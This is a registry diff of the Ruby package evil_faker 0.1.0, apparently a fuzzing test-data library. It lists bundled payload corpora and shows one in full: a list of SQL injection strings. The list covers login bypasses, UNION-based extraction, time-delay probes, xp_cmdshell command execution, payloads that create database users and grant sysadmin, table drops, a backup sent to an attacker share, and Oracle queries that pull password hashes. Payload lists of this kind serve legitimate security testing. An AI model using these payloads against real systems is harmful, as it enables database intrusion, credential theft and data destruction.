evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt ADDED
@@ -0,0 +1,1354 @@
1
+ '-'
2
+ ' '
3
+ '&'
4
+ '^'
5
+ '*'
6
+ ' or ''-'
7
+ ' or '' '
8
+ ' or ''&'
9
+ ' or ''^'
10
+ ' or ''*'
11
+ "-"
12
+ " "
13
+ "&"
14
+ "^"
15
+ "*"
16
+ " or ""-"
17
+ " or "" "
18
+ " or ""&"
19
+ " or ""^"
20
+ " or ""*"
21
+ or true--
22
+ " or true--
23
+ ' or true--
24
+ ") or true--
25
+ ') or true--
26
+ ' or 'x'='x
27
+ ') or ('x')=('x
28
+ ')) or (('x'))=(('x
29
+ " or "x"="x
30
+ ") or ("x")=("x
31
+ ")) or (("x"))=(("x
32
+ or 1=1
33
+ or 1=1--
34
+ or 1=1#
35
+ or 1=1/*
36
+ admin' --
37
+ admin' #
38
+ admin'/*
39
+ admin' or '1'='1
40
+ admin' or '1'='1'--
41
+ admin' or '1'='1'#
42
+ admin' or '1'='1'/*
43
+ admin'or 1=1 or ''='
44
+ admin' or 1=1
45
+ admin' or 1=1--
46
+ admin' or 1=1#
47
+ admin' or 1=1/*
48
+ admin') or ('1'='1
49
+ admin') or ('1'='1'--
50
+ admin') or ('1'='1'#
51
+ admin') or ('1'='1'/*
52
+ admin') or '1'='1
53
+ admin') or '1'='1'--
54
+ admin') or '1'='1'#
55
+ admin') or '1'='1'/*
56
+ 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
57
+ admin" --
58
+ admin" #
59
+ admin"/*
60
+ admin" or "1"="1
61
+ admin" or "1"="1"--
62
+ admin" or "1"="1"#
63
+ admin" or "1"="1"/*
64
+ admin"or 1=1 or ""="
65
+ admin" or 1=1
66
+ admin" or 1=1--
67
+ admin" or 1=1#
68
+ admin" or 1=1/*
69
+ admin") or ("1"="1
70
+ admin") or ("1"="1"--
71
+ admin") or ("1"="1"#
72
+ admin") or ("1"="1"/*
73
+ admin") or "1"="1
74
+ admin") or "1"="1"--
75
+ admin") or "1"="1"#
76
+ admin") or "1"="1"/*
77
+ 1' or 1.e(1) or '1'='1
78
+ 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
79
+ ==
80
+ =
81
+ '
82
+ ' --
83
+ ' #
84
+ ' –
85
+ '--
86
+ '/*
87
+ '#
88
+ " --
89
+ " #
90
+ "/*
91
+ ' and 1='1
92
+ ' and a='a
93
+ or 1=1
94
+ or true
95
+ ' or ''='
96
+ " or ""="
97
+ 1′) and '1′='1–
98
+ ' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
99
+ " AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
100
+ and 1=1
101
+ and 1=1–
102
+ ' and 'one'='one
103
+ ' and 'one'='one–
104
+ ' group by password having 1=1--
105
+ ' group by userid having 1=1--
106
+ ' group by username having 1=1--
107
+ like '%'
108
+ or 0=0 --
109
+ or 0=0 #
110
+ or 0=0 –
111
+ ' or 0=0 #
112
+ ' or 0=0 --
113
+ ' or 0=0 #
114
+ ' or 0=0 –
115
+ " or 0=0 --
116
+ " or 0=0 #
117
+ " or 0=0 –
118
+ %' or '0'='0
119
+ or 1=1--
120
+ or 1=1/*
121
+ or 1=1#
122
+ or 1=1–
123
+ ' or 1=1--
124
+ ' or '1'='1
125
+ ' or '1'='1'--
126
+ ' or '1'='1'/*
127
+ ' or '1'='1'#
128
+ ' or '1′='1
129
+ ' or 1=1
130
+ ' or 1=1 --
131
+ ' or 1=1 –
132
+ ' or 1=1;#
133
+ ' or 1=1/*
134
+ ' or 1=1#
135
+ ' or 1=1–
136
+ ') or '1'='1
137
+ ') or '1'='1--
138
+ ') or '1'='1'--
139
+ ') or '1'='1'/*
140
+ ') or '1'='1'#
141
+ ') or ('1'='1
142
+ ') or ('1'='1--
143
+ ') or ('1'='1'--
144
+ ') or ('1'='1'/*
145
+ ') or ('1'='1'#
146
+ 'or'1=1
147
+ 'or'1=1′
148
+ " or "1"="1
149
+ " or "1"="1"--
150
+ " or "1"="1"/*
151
+ " or "1"="1"#
152
+ " or 1=1
153
+ " or 1=1 --
154
+ " or 1=1 –
155
+ " or 1=1--
156
+ " or 1=1/*
157
+ " or 1=1#
158
+ " or 1=1–
159
+ ") or "1"="1
160
+ ") or "1"="1"--
161
+ ") or "1"="1"/*
162
+ ") or "1"="1"#
163
+ ") or ("1"="1
164
+ ") or ("1"="1"--
165
+ ") or ("1"="1"/*
166
+ ") or ("1"="1"#
167
+ ) or '1′='1–
168
+ ) or ('1′='1–
169
+ ' or 1=1 LIMIT 1;#
170
+ 'or 1=1 or ''='
171
+ "or 1=1 or ""="
172
+ ' or 'a'='a
173
+ ' or a=a--
174
+ ' or a=a–
175
+ ') or ('a'='a
176
+ " or "a"="a
177
+ ") or ("a"="a
178
+ ') or ('a'='a and hi") or ("a"="a
179
+ ' or 'one'='one
180
+ ' or 'one'='one–
181
+ ' or uid like '%
182
+ ' or uname like '%
183
+ ' or userid like '%
184
+ ' or user like '%
185
+ ' or username like '%
186
+ ') or ('x'='x
187
+ ' OR 'x'='x'#;
188
+ '=' 'or' and '=' 'or'
189
+ ' UNION ALL SELECT 1, @@version;#
190
+ ' UNION ALL SELECT system_user(),user();#
191
+ ' UNION select table_schema,table_name FROM information_Schema.tables;#
192
+ admin' and substring(password/text(),1,1)='7
193
+ ' and substring(password/text(),1,1)='7
194
+ ' or 1=1 limit 1 -- -+
195
+ '="or'
196
+ waitfor delay '0:0:20' /*
197
+ waitfor delay '0:0:20' --
198
+ ' waitfor delay '0:0:20' /*
199
+ ' waitfor delay '0:0:20' --
200
+ " waitfor delay '0:0:20' /*
201
+ " waitfor delay '0:0:20' --
202
+ ) waitfor delay '0:0:20' /*
203
+ ) waitfor delay '0:0:20' --
204
+ )) waitfor delay '0:0:20' /*
205
+ )) waitfor delay '0:0:20' --
206
+ ))) waitfor delay '0:0:20' /*
207
+ ))) waitfor delay '0:0:20' --
208
+ )))) waitfor delay '0:0:20' /*
209
+ )))) waitfor delay '0:0:20' --
210
+ ))))) waitfor delay '0:0:20' --
211
+ )))))) waitfor delay '0:0:20' --
212
+ ') waitfor delay '0:0:20' /*
213
+ ') waitfor delay '0:0:20' --
214
+ ") waitfor delay '0:0:20' /*
215
+ ") waitfor delay '0:0:20' --
216
+ ')) waitfor delay '0:0:20' /*
217
+ ')) waitfor delay '0:0:20' --
218
+ ")) waitfor delay '0:0:20' /*
219
+ ")) waitfor delay '0:0:20' --
220
+ '))) waitfor delay '0:0:20' /*
221
+ '))) waitfor delay '0:0:20' --
222
+ "))) waitfor delay '0:0:20' /*
223
+ "))) waitfor delay '0:0:20' --
224
+ ')))) waitfor delay '0:0:20' /*
225
+ ')))) waitfor delay '0:0:20' --
226
+ ")))) waitfor delay '0:0:20' /*
227
+ ")))) waitfor delay '0:0:20' --
228
+ '))))) waitfor delay '0:0:20' /*
229
+ '))))) waitfor delay '0:0:20' --
230
+ "))))) waitfor delay '0:0:20' /*
231
+ "))))) waitfor delay '0:0:20' --
232
+ ')))))) waitfor delay '0:0:20' /*
233
+ ')))))) waitfor delay '0:0:20' --
234
+ ")))))) waitfor delay '0:0:20' /*
235
+ ")))))) waitfor delay '0:0:20' --
236
+ '; exec master..xp_cmdshell 'ping 10.10.1.2'--
237
+ 'create user name identified by 'pass123' --
238
+ 'create user name identified by pass123 temporary tablespace temp default tablespace users;
239
+ ' ; drop table temp --
240
+ 'exec sp_addlogin 'name' , 'password' --
241
+ ' exec sp_addsrvrolemember 'name' , 'sysadmin' --
242
+ ' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --
243
+ ' grant connect to name; grant resource to name; --
244
+ ' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
245
+ ' union (select @@version) --
246
+ ' union (select NULL, (select @@version)) --
247
+ ' union (select NULL, NULL, (select @@version)) --
248
+ ' union (select NULL, NULL, NULL, (select @@version)) --
249
+ ' union (select NULL, NULL, NULL, NULL, (select @@version)) --
250
+ ' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
251
+ select @@version
252
+ select @@servernamee
253
+ select @@microsoftversione
254
+ select * from master..sysserverse
255
+ select * from sysusers
256
+ exec master..xp_cmdshell 'ipconfig+/all'
257
+ exec master..xp_cmdshell 'net+view'
258
+ exec master..xp_cmdshell 'net+users'
259
+ exec master..xp_cmdshell 'ping+<attackerip>'
260
+ BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
261
+ create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
262
+ 1'1
263
+ 1 exec sp_ (or exec xp_)
264
+ 1 and 1=1
265
+ 1' and 1=(select count(*) from tablenames); --
266
+ 1 or 1=1
267
+ 1' or '1'='1
268
+ and 0=benchmark(3000000,MD5(1))%20/*
269
+ and 0=benchmark(3000000,MD5(1))%20--
270
+ and 0=benchmark(3000000,MD5(1))%20%23
271
+ ' and 0=benchmark(3000000,MD5(1))%20/*
272
+ ' and 0=benchmark(3000000,MD5(1))%20--
273
+ ' and 0=benchmark(3000000,MD5(1))%20%23
274
+ " and 0=benchmark(3000000,MD5(1))%20/*
275
+ " and 0=benchmark(3000000,MD5(1))%20--
276
+ " and 0=benchmark(3000000,MD5(1))%20%23
277
+ ) and 0=benchmark(3000000,MD5(1))%20/*
278
+ ) and 0=benchmark(3000000,MD5(1))%20--
279
+ ) and 0=benchmark(3000000,MD5(1))%20%23
280
+ )) and 0=benchmark(3000000,MD5(1))%20/*
281
+ )) and 0=benchmark(3000000,MD5(1))%20--
282
+ )) and 0=benchmark(3000000,MD5(1))%20%23
283
+ ))) and 0=benchmark(3000000,MD5(1))%20/*
284
+ ))) and 0=benchmark(3000000,MD5(1))%20--
285
+ ))) and 0=benchmark(3000000,MD5(1))%20%23
286
+ )))) and 0=benchmark(3000000,MD5(1))%20/*
287
+ )))) and 0=benchmark(3000000,MD5(1))%20--
288
+ )))) and 0=benchmark(3000000,MD5(1))%20%23
289
+ ') and 0=benchmark(3000000,MD5(1))%20/*
290
+ ') and 0=benchmark(3000000,MD5(1))%20--
291
+ ') and 0=benchmark(3000000,MD5(1))%20%23
292
+ ") and 0=benchmark(3000000,MD5(1))%20/*
293
+ ") and 0=benchmark(3000000,MD5(1))%20--
294
+ ") and 0=benchmark(3000000,MD5(1))%20%23
295
+ ')) and 0=benchmark(3000000,MD5(1))%20/*
296
+ ')) and 0=benchmark(3000000,MD5(1))%20--
297
+ ')) and 0=benchmark(3000000,MD5(1))%20%23
298
+ ")) and 0=benchmark(3000000,MD5(1))%20/*
299
+ ")) and 0=benchmark(3000000,MD5(1))%20--
300
+ ")) and 0=benchmark(3000000,MD5(1))%20%23
301
+ '))) and 0=benchmark(3000000,MD5(1))%20/*
302
+ '))) and 0=benchmark(3000000,MD5(1))%20--
303
+ '))) and 0=benchmark(3000000,MD5(1))%20%23
304
+ "))) and 0=benchmark(3000000,MD5(1))%20/*
305
+ "))) and 0=benchmark(3000000,MD5(1))%20--
306
+ "))) and 0=benchmark(3000000,MD5(1))%20%23
307
+ ')))) and 0=benchmark(3000000,MD5(1))%20/*
308
+ ')))) and 0=benchmark(3000000,MD5(1))%20--
309
+ ')))) and 0=benchmark(3000000,MD5(1))%20%23
310
+ ")))) and 0=benchmark(3000000,MD5(1))%20/*
311
+ ")))) and 0=benchmark(3000000,MD5(1))%20--
312
+ ")))) and 0=benchmark(3000000,MD5(1))%20%23
313
+ create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;
314
+ ’ or ‘1’=’1
315
+ '||utl_http.request('httP://192.168.1.1/')||'
316
+ ' || myappadmin.adduser('admin', 'newpass') || '
317
+ ' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
318
+ ' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
319
+ ' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
320
+ ' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
321
+ ' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
322
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
323
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
324
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
325
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
326
+ ' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
327
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
328
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
329
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
330
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
331
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
332
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
333
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
334
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
335
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
336
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
337
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
338
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
339
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
340
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
341
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
342
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
343
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
344
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
345
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
346
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
347
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
348
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
349
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
350
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
351
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
352
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
353
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
354
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
355
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
356
